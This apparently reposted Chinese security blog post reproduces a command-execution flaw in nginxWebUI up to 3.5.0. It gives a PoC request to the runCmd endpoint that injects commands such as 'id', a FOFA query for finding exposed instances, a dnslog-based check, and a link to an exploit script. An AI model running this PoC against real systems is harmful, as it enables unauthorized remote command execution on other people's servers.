社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  NGINX

nginxWebUI runCmd命令执行漏洞简单复现

合天网安实验室 • 1 年前 • 319 次点击  
✎ 阅读须知


本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!


1.漏洞描述

nginxWebUI是一款图形化管理nginx配置的工具, 可以使用网页来快速配置nginx的各项功能, 包括http协议转发,tcp协议转发, 反向代理, 负载均衡, 静态html服务器, ssl证书自动申请、续签、配置等, 配置好后可一建生成nginx.conf文件, 同时可控制nginx使用此文件进行启动与重载, 完成对nginx的图形化控制闭环.

参考自官方网站:https://www.nginxwebui.cn/

nginxWebUI由于未对用户的输入进行严格过滤,导致任意命令执行漏洞。

该漏洞利用条件简单,漏洞危害较高。

影响版本:nginxWebUI <= 3.5.0

2.漏洞复现

poc

url地址 + /AdminPage/conf/runCmd?cmd=命令%26%26echo%20nginx

fofa规则:app="nginxWebUI"

image.png

在这里以dnslog平台来进行测试:

http://www.dnslog.cn/

image.png

直接输入刚刚的poc测试:

image.png
image.png

此时证明漏洞存在,测试下能否执行命令回显:

在这里使用id命令:

url地址 + /AdminPage/conf/runCmd?cmd=id%26%26echo%20nginx
image.png

4.exp

相关脚本已上传至github

https://github.com/crow821/crowsec

你也可以在乌鸦安全公众号后台回复关键字:nginx 下载

单个脚本可以一直执行命令:

image.png

在这里注意我前面有一个运行失败的标志:

image.png

在这里主要是考虑如果遇到英文环境,在这里可能会变化掉,所以我对此做了保留:

image.png

主要是为了适配一些非UTF-8的环境,如果你有强迫症的话,你可以将这句话修改下:

res = re.findall('
运行失败
(.*?)
nginx
"}'
, result)
image.png

感觉影响其实不大。

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型: 黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。


更多详情,点我查看!

靶场实操,戳“阅读原文”

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/159803
 
319 次点击